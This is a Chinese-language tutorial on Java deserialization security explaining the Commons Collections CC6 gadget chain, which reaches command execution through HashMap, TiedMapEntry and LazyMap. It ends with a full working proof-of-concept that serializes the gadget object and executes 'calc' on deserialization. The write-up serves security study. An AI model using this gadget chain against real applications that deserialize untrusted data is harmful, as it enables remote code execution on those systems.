Java安全 反序列化(5) CC6链原理分析
CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版
[TOC]
前言
上篇文章我们通过LazyMap.get()
方法实现ChainerTransformer
的链式调用
但是我们再次依赖了AnnotationInvocationHandler
作为我们反序列化后的入口类
在JDK 8u71以后开发者重写了AnnotationInvocationHandler
使我们依赖AnnotationInvocationHandler
调用LazyMap.get()
和TransformerMap.checkSetValue
实现ChaindeTransformer.transform()方法失效
如何让调用ChaindeTransformer.transform()
执行任意命令可以无视JDK版本?
我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?
通过自动调用hashcode方法最终实现ChainerTransformer
的链式调用
一.CC6的原理和实现以及易错点
我们如何实现调用LazyMap.get()方法
如果我们查找用法,会发现非常多的结果
前辈们通过TiedMapEntry
类实现 HashMap
和LazyMap
的联系
回顾一下HashMap重写了readobject方法
putVal(hash(key), key, value, false, false);
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
调用了传入键值对象的hashCode方法
而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移
hashCode方法调用了自身getValue方法
而恰好getValue方法可以调用传入map的get方法
map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样
我们可以直接拿上篇文章的payload进行修改后半段
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> hashmap=new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry接受Map map,Object key
我们需要控制map为LazyMap对象,key值任意
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
而HashMap中控制key值为tiedMapEntry
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
一个易错点
当我们不反序列化时,直接执行代码,居然也可以RCE
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> hashmap=new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
}
原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法
对我们的结果造成干扰
因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发
如何操作?
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
我们可以随便传个new ConstantTransformer(1)
代替chainedTransformer
使它put时不触发,put后再传回正确的值
同时还要注意再LazyMap.get()
方法中想要实现ChainedTransformer.transform()
就必须保证LazyMap的Key为空
而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发
factory.transform(key)
过不了判断
所以put后我们删除LazyMap的键值
lazymap.remove("key");
再通过反射修改LazyMap.decorate(hashmap,new ConstantTransformer(1));
中的键为ChaindeTransformer
Class c=LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
可以实现RCE
二.完整CC6POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> hashmap=new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
lazymap.remove("key");
Class c=LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}